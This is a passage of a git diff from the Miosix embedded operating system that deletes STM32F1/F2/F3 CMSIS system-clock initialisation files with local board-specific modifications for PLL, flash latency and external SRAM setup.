RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - #else - #warning Untested configuration - #endif //RUN_WITH_HSI //By TFT - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - /* Flash 2 wait state */ - //NOTE: the value of the constant FLASH_ACR_LATENCY_2 changed from meaning - //"2 wait states" to meaning "bit 2", thus 4 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (2<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV2; - -#ifdef STM32F10X_CL - /* Configure PLLs ------------------------------------------------------*/ - /* PLL2 configuration: PLL2CLK = (HSE / 5) * 8 = 40 MHz */ - /* PREDIV1 configuration: PREDIV1CLK = PLL2 / 5 = 8 MHz */ - - RCC->CFGR2 &= (uint32_t)~(RCC_CFGR2_PREDIV2 | RCC_CFGR2_PLL2MUL | - RCC_CFGR2_PREDIV1 | RCC_CFGR2_PREDIV1SRC); - RCC->CFGR2 |= (uint32_t)(RCC_CFGR2_PREDIV2_DIV5 | RCC_CFGR2_PLL2MUL8 | - RCC_CFGR2_PREDIV1SRC_PLL2 | RCC_CFGR2_PREDIV1_DIV5); - - /* Enable PLL2 */ - RCC->CR |= RCC_CR_PLL2ON; - /* Wait till PLL2 is ready */ - while((RCC->CR & RCC_CR_PLL2RDY) == 0) - { - } - - - /* PLL configuration: PLLCLK = PREDIV1 * 7 = 56 MHz */ - RCC->CFGR &= (uint32_t)~(RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLSRC | RCC_CFGR_PLLMULL); - RCC->CFGR |= (uint32_t)(0 | RCC_CFGR_PLLSRC | - RCC_CFGR_PLLMULL7); -#else - /* PLL configuration: PLLCLK = HSE * 7 = 56 MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL)); - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC | RCC_CFGR_PLLMULL7); - -#endif /* STM32F10X_CL */ - - #ifdef RUN_WITH_HSI //By TFT - RCC->CFGR &= ~RCC_CFGR_PLLSRC; - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} - -#elif defined SYSCLK_FREQ_72MHz -/** - * @brief Sets System clock frequency to 72MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo72(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifndef RUN_WITH_HSI //By TFT - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - #else - #warning Untested configuration - #endif //RUN_WITH_HSI //By TFT - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - /* Flash 2 wait state */ - //NOTE: the value of the constant FLASH_ACR_LATENCY_2 changed from meaning - //"2 wait states" to meaning "bit 2", thus 4 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (2<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV2; - -#ifdef STM32F10X_CL - /* Configure PLLs ------------------------------------------------------*/ - /* PLL2 configuration: PLL2CLK = (HSE / 5) * 8 = 40 MHz */ - /* PREDIV1 configuration: PREDIV1CLK = PLL2 / 5 = 8 MHz */ - - RCC->CFGR2 &= (uint32_t)~(RCC_CFGR2_PREDIV2 | RCC_CFGR2_PLL2MUL | - RCC_CFGR2_PREDIV1 | RCC_CFGR2_PREDIV1SRC); - RCC->CFGR2 |= (uint32_t)(RCC_CFGR2_PREDIV2_DIV5 | RCC_CFGR2_PLL2MUL8 | - RCC_CFGR2_PREDIV1SRC_PLL2 | RCC_CFGR2_PREDIV1_DIV5); - - /* Enable PLL2 */ - RCC->CR |= RCC_CR_PLL2ON; - /* Wait till PLL2 is ready */ - while((RCC->CR & RCC_CR_PLL2RDY) == 0) - { - } - - - /* PLL configuration: PLLCLK = PREDIV1 * 9 = 72 MHz */ - RCC->CFGR &= (uint32_t)~(RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLSRC | RCC_CFGR_PLLMULL); - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC | RCC_CFGR_PLLMULL9); -#else - /* PLL configuration: PLLCLK = HSE * 9 = 72 MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | - RCC_CFGR_PLLMULL)); - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC | RCC_CFGR_PLLMULL9); -#endif /* STM32F10X_CL */ - - #ifdef RUN_WITH_HSI //By TFT - RCC->CFGR &= ~RCC_CFGR_PLLSRC; - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} -#endif - -/** - * @} - */ - -/** - * @} - */ - -/** - * @} - */ -/******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Source/Templates/system_stm32f2xx.c b/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Source/Templates/system_stm32f2xx.c deleted file mode 100644 index d2500fa18..000000000 --- a/miosix/arch/common/CMSIS/Device/ST/STM32F2xx/Source/Templates/system_stm32f2xx.c +++ /dev/null @@ -1,473 +0,0 @@ -/** - ****************************************************************************** - * @file system_stm32f2xx.c - * @author MCD Application Team - * @brief CMSIS Cortex-M3 Device Peripheral Access Layer System Source File. - * - * This file provides two functions and one global variable to be called from - * user application: - * - SystemInit(): This function is called at startup just after reset and - * before branch to main program. This call is made inside - * the "startup_stm32f2xx.s" file. - * - * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used - * by the user application to setup the SysTick - * timer or configure other parameters. - * - * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must - * be called whenever the core clock is changed - * during program execution. - * - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2016 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under BSD 3-Clause license, - * the "License"; You may not use this file except in compliance with the - * License. You may obtain a copy of the License at: - * opensource.org/licenses/BSD-3-Clause - * - ****************************************************************************** - */ - -/** @addtogroup CMSIS - * @{ - */ - -/** @addtogroup stm32f2xx_system - * @{ - */ - -/** @addtogroup STM32F2xx_System_Private_Includes - * @{ - */ - -//By TFT: was #include "stm32f4xx_hal.h", but the specific chip is #defined in -//arch_registers_impl.h -#include "interfaces/arch_registers.h" -//By TFT: was in the old stm32f4xx.h -#define HSE_STARTUP_TIMEOUT ((uint16_t)0x0500) - -#if !defined (HSE_VALUE) - #define HSE_VALUE ((uint32_t)25000000) /*!< Default value of the External oscillator in Hz */ -#endif /* HSE_VALUE */ - -#if !defined (HSI_VALUE) - #define HSI_VALUE ((uint32_t)16000000) /*!< Value of the Internal oscillator in Hz*/ -#endif /* HSI_VALUE */ - -/** - * @} - */ - -/** @addtogroup STM32F2xx_System_Private_TypesDefinitions - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F2xx_System_Private_Defines - * @{ - */ -/************************* Miscellaneous Configuration ************************/ -/*!< Uncomment the following line if you need to use external SRAM mounted - on STM322xG_EVAL board as data memory */ -//By TFT: Miosix uses the __ENABLE_XRAM macro to tell the startup code it wants XRAM -//additionally, other boards may have the RAM connected in other ways, so -//use this code only for the STM3220G_EVAL -#if defined(__ENABLE_XRAM) && defined(_BOARD_STM3220G_EVAL) -#define DATA_IN_ExtSRAM -#endif //__ENABLE_XRAM - -/* Note: Following vector table addresses must be defined in line with linker - configuration. */ -/*!< Uncomment the following line if you need to relocate the vector table - anywhere in Flash or Sram, else the vector table is kept at the automatic - remap of boot address selected */ -/* #define USER_VECT_TAB_ADDRESS */ - -#if defined(USER_VECT_TAB_ADDRESS) -/*!< Uncomment the following line if you need to relocate your vector Table - in Sram else user remap will be done in Flash. */ -/* #define VECT_TAB_SRAM */ -#if defined(VECT_TAB_SRAM) -#define VECT_TAB_BASE_ADDRESS SRAM_BASE /*!< Vector Table base address field. - This value must be a multiple of 0x200. */ -#define VECT_TAB_OFFSET 0x00000000U /*!< Vector Table base offset field. - This value must be a multiple of 0x200. */ -#else -#define VECT_TAB_BASE_ADDRESS FLASH_BASE /*!< Vector Table base address field. - This value must be a multiple of 0x200. */ -#define VECT_TAB_OFFSET 0x00000000U /*!< Vector Table base offset field. - This value must be a multiple of 0x200. */ -#endif /* VECT_TAB_SRAM */ -#endif /* USER_VECT_TAB_ADDRESS */ - -//By TFT -- begin -// the smartwatch has a bootloader -#ifdef _BOARD_SONY_NEWMAN -#define USER_VECT_TAB_ADDRESS -#define VECT_TAB_BASE_ADDRESS FLASH_BASE -#define VECT_TAB_OFFSET 0x40000 -#endif //_BOARD_SONY_NEWMAN -//By TFT -- end - -//By TFT -- begin -// this was backported from an older version. Now this code seems to be -// moved in a function called HAL_something... -/* PLL_VCO = (HSE_VALUE or HSI_VALUE / PLL_M) * PLL_N */ -#define PLL_M (HSE_VALUE/1000000) - -#define PLL_N 240 - -/* SYSCLK = PLL_VCO / PLL_P */ -#define PLL_P 2 - -/* USB OTG FS, SDIO and RNG Clock = PLL_VCO / PLLQ */ -#define PLL_Q 5 -//By TFT -- end -/******************************************************************************/ - -/** - * @} - */ - -/** @addtogroup STM32F2xx_System_Private_Macros - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F2xx_System_Private_Variables - * @{ - */ - - /* This variable can be updated in Three ways : - 1) by calling CMSIS function SystemCoreClockUpdate() - 2) by calling HAL API function HAL_RCC_GetHCLKFreq() - 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency - Note: If you use this function to configure the system clock; then there - is no need to call the 2 first functions listed above, since SystemCoreClock - variable is updated automatically. - */ - uint32_t SystemCoreClock = 120000000; - const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; - const uint8_t APBPrescTable[8] = {0, 0, 0, 0, 1, 2, 3, 4}; -/** - * @} - */ - -/** @addtogroup STM32F2xx_System_Private_FunctionPrototypes - * @{ - */ - -static void SetSysClock(void); -#ifdef DATA_IN_ExtSRAM - static void SystemInit_ExtMemCtl(void); -#endif /* DATA_IN_ExtSRAM */ - -/** - * @} - */ - -/** @addtogroup STM32F2xx_System_Private_Functions - * @{ - */ - -/** - * @brief Setup the microcontroller system - * Initialize the Embedded Flash Interface, the PLL and update the - * SystemFrequency variable. - * @param None - * @retval None - */ -void SystemInit(void) -{ -#ifdef DATA_IN_ExtSRAM - SystemInit_ExtMemCtl(); -#endif /* DATA_IN_ExtSRAM */ - - /* Configure the System clock source, PLL Multiplier and Divider factors, - AHB/APBx prescalers and Flash settings ----------------------------------*/ - SetSysClock(); - - /* Configure the Vector Table location -------------------------------------*/ -#if defined(USER_VECT_TAB_ADDRESS) - SCB->VTOR = VECT_TAB_BASE_ADDRESS | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ -#endif /* USER_VECT_TAB_ADDRESS */ -} - -/** - * @brief Update SystemCoreClock variable according to Clock Register Values. - * The SystemCoreClock variable contains the core clock (HCLK), it can - * be used by the user application to setup the SysTick timer or configure - * other parameters. - * - * @note Each time the core clock (HCLK) changes, this function must be called - * to update SystemCoreClock variable value. Otherwise, any configuration - * based on this variable will be incorrect. - * - * @note - The system frequency computed by this function is not the real - * frequency in the chip. It is calculated based on the predefined - * constant and the selected clock source: - * - * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) - * - * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) - * - * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) - * or HSI_VALUE(*) multiplied/divided by the PLL factors. - * - * (*) HSI_VALUE is a constant defined in stm32f2xx_hal_conf.h file (default value - * 16 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * (**) HSE_VALUE is a constant defined in stm32f2xx_hal_conf.h file (its value - * depends on the application requirements), user has to ensure that HSE_VALUE - * is same as the real frequency of the crystal used. Otherwise, this function - * may have wrong result. - * - * - The result of this function could be not correct when using fractional - * value for HSE crystal. - * - * @param None - * @retval None - */ -void SystemCoreClockUpdate(void) -{ - uint32_t tmp = 0, pllvco = 0, pllp = 2, pllsource = 0, pllm = 2; - - /* Get SYSCLK source -------------------------------------------------------*/ - tmp = RCC->CFGR & RCC_CFGR_SWS; - - switch (tmp) - { - case 0x00: /* HSI used as system clock source */ - SystemCoreClock = HSI_VALUE; - break; - case 0x04: /* HSE used as system clock source */ - SystemCoreClock = HSE_VALUE; - break; - case 0x08: /* PLL used as system clock source */ - - /* PLL_VCO = (HSE_VALUE or HSI_VALUE / PLL_M) * PLL_N - SYSCLK = PLL_VCO / PLL_P - */ - pllsource = (RCC->PLLCFGR & RCC_PLLCFGR_PLLSRC) >> 22; - pllm = RCC->PLLCFGR & RCC_PLLCFGR_PLLM; - - if (pllsource != 0) - { - /* HSE used as PLL clock source */ - pllvco = (HSE_VALUE / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); - } - else - { - /* HSI used as PLL clock source */ - pllvco = (HSI_VALUE / pllm) * ((RCC->PLLCFGR & RCC_PLLCFGR_PLLN) >> 6); - } - - pllp = (((RCC->PLLCFGR & RCC_PLLCFGR_PLLP) >>16) + 1 ) *2; - SystemCoreClock = pllvco/pllp; - break; - default: - SystemCoreClock = HSI_VALUE; - break; - } - /* Compute HCLK frequency --------------------------------------------------*/ - /* Get HCLK prescaler */ - tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; - /* HCLK frequency */ - SystemCoreClock >>= tmp; -} - -//By TFT -- begin -// this was backported from an older version. Now this code seems to be -// moved in a function called HAL_something... -/** - * @brief Configures the System clock source, PLL Multiplier and Divider factors, - * AHB/APBx prescalers and Flash settings - * @Note This function should be called only once the RCC clock configuration - * is reset to the default reset state (done in SystemInit() function). - * @param None - * @retval None - */ -static void SetSysClock(void) -{ -/******************************************************************************/ -/* PLL (clocked by HSE) used as System clock source */ -/******************************************************************************/ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0; - - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - - if (HSEStatus == (uint32_t)0x01) - { - #ifdef _BOARD_SONY_NEWMAN - //By TFT: We don't know how the clock is configured by the bootloader, - //so better switch to the HSE and disable the PLL. - unsigned int temp=RCC->CFGR; - temp &= ~RCC_CFGR_SW; /* Clear SW[1:0] bits */ - temp |= RCC_CFGR_SW_0; /* Enable HSE as system clock */ - RCC->CFGR=temp; - while((RCC->CFGR & RCC_CFGR_SWS)!=RCC_CFGR_SWS_0) ; - RCC->CR &= ~ RCC_CR_PLLON; - #endif //_BOARD_SONY_NEWMAN - - /* HCLK = SYSCLK / 1*/ - RCC->CFGR |= RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK / 2*/ - RCC->CFGR |= RCC_CFGR_PPRE2_DIV2; - - /* PCLK1 = HCLK / 4*/ - RCC->CFGR |= RCC_CFGR_PPRE1_DIV4; - - /* Configure the main PLL */ - RCC->PLLCFGR = PLL_M | (PLL_N << 6) | (((PLL_P >> 1) -1) << 16) | - (RCC_PLLCFGR_PLLSRC_HSE) | (PLL_Q << 24); - - /* Enable the main PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till the main PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Configure Flash prefetch, Instruction cache, Data cache and wait state */ -#ifndef _BOARD_SONY_NEWMAN - FLASH->ACR = FLASH_ACR_PRFTEN | FLASH_ACR_ICEN | FLASH_ACR_DCEN | FLASH_ACR_LATENCY_3WS; -#else //_BOARD_SONY_NEWMAN - //By TFT: Three wait states seem to make it unstable (crashing) when CPU load is high - FLASH->ACR = FLASH_ACR_PRFTEN | FLASH_ACR_ICEN | FLASH_ACR_DCEN | FLASH_ACR_LATENCY_7WS; -#endif //_BOARD_SONY_NEWMAN - - /* Select the main PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= RCC_CFGR_SW_PLL; - - /* Wait till the main PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS ) != RCC_CFGR_SWS_PLL) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } - -} -// By TFT -- end - -#ifdef DATA_IN_ExtSRAM -/** - * @brief Setup the external memory controller. - * Called in startup_stm32f2xx.s before jump to main. - * This function configures the external SRAM mounted on STM322xG_EVAL board - * This SRAM will be used as program data memory (including heap and stack). - * @param None - * @retval None - */ -void SystemInit_ExtMemCtl(void) -{ -/*-- GPIOs Configuration -----------------------------------------------------*/ - /* Enable GPIOD, GPIOE, GPIOF and GPIOG interface clock */ - RCC->AHB1ENR |= 0x00000078; - RCC_SYNC(); - - /* Connect PDx pins to FSMC Alternate function */ - GPIOD->AFR[0] = 0x00CCC0CC; - GPIOD->AFR[1] = 0xCCCCCCCC; - /* Configure PDx pins in Alternate function mode */ - GPIOD->MODER = 0xAAAA0A8A; - /* Configure PDx pins speed to 100 MHz */ - GPIOD->OSPEEDR = 0xFFFF0FCF; - /* Configure PDx pins Output type to push-pull */ - GPIOD->OTYPER = 0x00000000; - /* No pull-up, pull-down for PDx pins */ - GPIOD->PUPDR = 0x00000000; - - /* Connect PEx pins to FSMC Alternate function */ - GPIOE->AFR[0] = 0xC00CC0CC; - GPIOE->AFR[1] = 0xCCCCCCCC; - /* Configure PEx pins in Alternate function mode */ - GPIOE->MODER = 0xAAAA828A; - /* Configure PEx pins speed to 100 MHz */ - GPIOE->OSPEEDR = 0xFFFFC3CF; - /* Configure PEx pins Output type to push-pull */ - GPIOE->OTYPER = 0x00000000; - /* No pull-up, pull-down for PEx pins */ - GPIOE->PUPDR = 0x00000000; - - /* Connect PFx pins to FSMC Alternate function */ - GPIOF->AFR[0] = 0x00CCCCCC; - GPIOF->AFR[1] = 0xCCCC0000; - /* Configure PFx pins in Alternate function mode */ - GPIOF->MODER = 0xAA000AAA; - /* Configure PFx pins speed to 100 MHz */ - GPIOF->OSPEEDR = 0xFF000FFF; - /* Configure PFx pins Output type to push-pull */ - GPIOF->OTYPER = 0x00000000; - /* No pull-up, pull-down for PFx pins */ - GPIOF->PUPDR = 0x00000000; - - /* Connect PGx pins to FSMC Alternate function */ - GPIOG->AFR[0] = 0x00CCCCCC; - GPIOG->AFR[1] = 0x000000C0; - /* Configure PGx pins in Alternate function mode */ - GPIOG->MODER = 0x00085AAA; - /* Configure PGx pins speed to 100 MHz */ - GPIOG->OSPEEDR = 0x000CAFFF; - /* Configure PGx pins Output type to push-pull */ - GPIOG->OTYPER = 0x00000000; - /* No pull-up, pull-down for PGx pins */ - GPIOG->PUPDR = 0x00000000; - -/*--FSMC Configuration -------------------------------------------------------*/ - /* Enable the FSMC interface clock */ - RCC->AHB3ENR |= 0x00000001; - RCC_SYNC(); - /* Configure and enable Bank1_SRAM2 */ - FSMC_Bank1->BTCR[2] = 0x00001011; - FSMC_Bank1->BTCR[3] = 0x00000201; - FSMC_Bank1E->BWTR[2] = 0x0FFFFFFF; -} -#endif /* DATA_IN_ExtSRAM */ - - -/** - * @} - */ - -/** - * @} - */ - -/** - * @} - */ -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Source/Templates/system_stm32f3xx.c b/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Source/Templates/system_stm32f3xx.c deleted file mode 100644 index 78cec94b5..000000000 --- a/miosix/arch/common/CMSIS/Device/ST/STM32F3xx/Source/Templates/system_stm32f3xx.c +++ /dev/null @@ -1,899 +0,0 @@ -// -// NOTE: this file contains some modifications by Silvano Seva (silseva) to make -// available system clock frequencies greater than 8MHz -// - -/** - ****************************************************************************** - * @file system_stm32f3xx.c - * @author MCD Application Team - * @brief CMSIS Cortex-M4 Device Peripheral Access Layer System Source File. - * - * 1. This file provides two functions and one global variable to be called from - * user application: - * - SystemInit(): This function is called at startup just after reset and - * before branch to main program. This call is made inside - * the "startup_stm32f3xx.s" file. - * - * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used - * by the user application to setup the SysTick - * timer or configure other parameters. - * - * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must - * be called whenever the core clock is changed - * during program execution. - * - * 2. After each device reset the HSI (8 MHz) is used as system clock source. - * Then SystemInit() function is called, in "startup_stm32f3xx.s" file, to - * configure the system clock before to branch to main program. - * - * 3. This file configures the system clock as follows: - *============================================================================= - * Supported STM32F3xx device - *----------------------------------------------------------------------------- - * System Clock source | HSI - *----------------------------------------------------------------------------- - * SYSCLK(Hz) | 8000000 - *----------------------------------------------------------------------------- - * HCLK(Hz) | 8000000 - *----------------------------------------------------------------------------- - * AHB Prescaler | 1 - *----------------------------------------------------------------------------- - * APB2 Prescaler | 1 - *----------------------------------------------------------------------------- - * APB1 Prescaler | 1 - *----------------------------------------------------------------------------- - * USB Clock | DISABLE - *----------------------------------------------------------------------------- - *============================================================================= - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2016 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under BSD 3-Clause license, - * the "License"; You may not use this file except in compliance with the - * License. You may obtain a copy of the License at: - * opensource.org/licenses/BSD-3-Clause - * - ****************************************************************************** - */ - -/** @addtogroup CMSIS - * @{ - */ - -/** @addtogroup stm32f3xx_system - * @{ - */ - -/** @addtogroup STM32F3xx_System_Private_Includes - * @{ - */ -//By Silvano Seva: was #include "stm32f3xx.h" -#include "interfaces/arch_registers.h" - -/** - * @} - */ - -/** @addtogroup STM32F3xx_System_Private_TypesDefinitions - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F3xx_System_Private_Defines - * @{ - */ -#if !defined (HSE_VALUE) - #define HSE_VALUE ((uint32_t)8000000) /*!< Default value of the External oscillator in Hz. - This value can be provided and adapted by the user application. */ -#endif /* HSE_VALUE */ - -#if !defined (HSI_VALUE) - #define HSI_VALUE ((uint32_t)8000000) /*!< Default value of the Internal oscillator in Hz. - This value can be provided and adapted by the user application. */ -#endif /* HSI_VALUE */ - -// Added by silseva -#define HSE_STARTUP_TIMEOUT ((uint16_t)0x0500) - -/*!< Uncomment the following line if you need to relocate your vector Table in - Internal SRAM. */ -/* #define VECT_TAB_SRAM */ -#define VECT_TAB_OFFSET 0x0 /*!< Vector Table base offset field. - This value must be a multiple of 0x200. */ -/** - * @} - */ - -/** @addtogroup STM32F3xx_System_Private_Macros - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F3xx_System_Private_Variables - * @{ - */ - /* This variable is updated in three ways: - 1) by calling CMSIS function SystemCoreClockUpdate() - 2) by calling HAL API function HAL_RCC_GetHCLKFreq() - 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency - Note: If you use this function to configure the system clock there is no need to - call the 2 first functions listed above, since SystemCoreClock variable is - updated automatically. - */ - -// Added by silseva -#ifdef SYSCLK_FREQ_HSE - uint32_t SystemCoreClock = SYSCLK_FREQ_HSE; /*!< System Clock Frequency (Core Clock) */ -#elif defined SYSCLK_FREQ_24MHz - uint32_t SystemCoreClock = SYSCLK_FREQ_24MHz; /*!< System Clock Frequency (Core Clock) */ -#elif defined SYSCLK_FREQ_36MHz - uint32_t SystemCoreClock = SYSCLK_FREQ_36MHz; /*!< System Clock Frequency (Core Clock) */ -#elif defined SYSCLK_FREQ_48MHz - uint32_t SystemCoreClock = SYSCLK_FREQ_48MHz; /*!< System Clock Frequency (Core Clock) */ -#elif defined SYSCLK_FREQ_56MHz - uint32_t SystemCoreClock = SYSCLK_FREQ_56MHz; /*!< System Clock Frequency (Core Clock) */ -#elif defined SYSCLK_FREQ_72MHz - uint32_t SystemCoreClock = SYSCLK_FREQ_72MHz; /*!< System Clock Frequency (Core Clock) */ -#else /*!< HSI Selected as System Clock source */ - uint32_t SystemCoreClock = HSI_VALUE; /*!< System Clock Frequency (Core Clock) */ -#endif - -//uint32_t SystemCoreClock = 8000000; - -const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; -const uint8_t APBPrescTable[8] = {0, 0, 0, 0, 1, 2, 3, 4}; - -/** - * @} - */ - -/** @addtogroup STM32F3xx_System_Private_FunctionPrototypes - * @{ - */ - -// Added by silseva -static void SetSysClock(void); - -#ifdef SYSCLK_FREQ_HSE - static void SetSysClockToHSE(void); -#elif defined SYSCLK_FREQ_24MHz - static void SetSysClockTo24(void); -#elif defined SYSCLK_FREQ_36MHz - static void SetSysClockTo36(void); -#elif defined SYSCLK_FREQ_48MHz - static void SetSysClockTo48(void); -#elif defined SYSCLK_FREQ_56MHz - static void SetSysClockTo56(void); -#elif defined SYSCLK_FREQ_72MHz - static void SetSysClockTo72(void); -#endif - -/** - * @} - */ - -/** @addtogroup STM32F3xx_System_Private_Functions - * @{ - */ - -/** - * @brief Setup the microcontroller system - * @param None - * @retval None - */ -void SystemInit(void) -{ - // Added by silseva - /* Reset the RCC clock configuration to the default reset state(for debug purpose) */ - /* Set HSION bit */ - RCC->CR |= (uint32_t)0x00000001; - - /* Reset all RCC_CFGR register */ - RCC->CFGR = (uint32_t)0x00000000; - - /* Reset HSEON, CSSON and PLLON bits */ - RCC->CR &= (uint32_t)0xFEF6FFFF; - - /* Reset HSEBYP bit */ - RCC->CR &= (uint32_t)0xFFFBFFFF; - - /* Disable all interrupts and clear pending bits */ - RCC->CIR = 0x009F0000; - - /* Clear PREDIV bits */ - RCC->CFGR2 &= ~RCC_CFGR2_PREDIV; - - /* Configure the System clock frequency, HCLK, PCLK2 and PCLK1 prescalers */ - /* Configure the Flash Latency cycles and enable prefetch buffer */ - SetSysClock(); - // end addition - -/* FPU settings --------------------------------------------------------------*/ -#if (__FPU_PRESENT == 1) && (__FPU_USED == 1) - SCB->CPACR |= ((3UL << 10*2)|(3UL << 11*2)); /* set CP10 and CP11 Full Access */ -#endif - -#ifdef VECT_TAB_SRAM - SCB->VTOR = SRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM */ -#else - SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH */ -#endif -} - -/** - * @brief Update SystemCoreClock variable according to Clock Register Values. - * The SystemCoreClock variable contains the core clock (HCLK), it can - * be used by the user application to setup the SysTick timer or configure - * other parameters. - * - * @note Each time the core clock (HCLK) changes, this function must be called - * to update SystemCoreClock variable value. Otherwise, any configuration - * based on this variable will be incorrect. - * - * @note - The system frequency computed by this function is not the real - * frequency in the chip. It is calculated based on the predefined - * constant and the selected clock source: - * - * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) - * - * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) - * - * - If SYSCLK source is PLL, SystemCoreClock will contain the 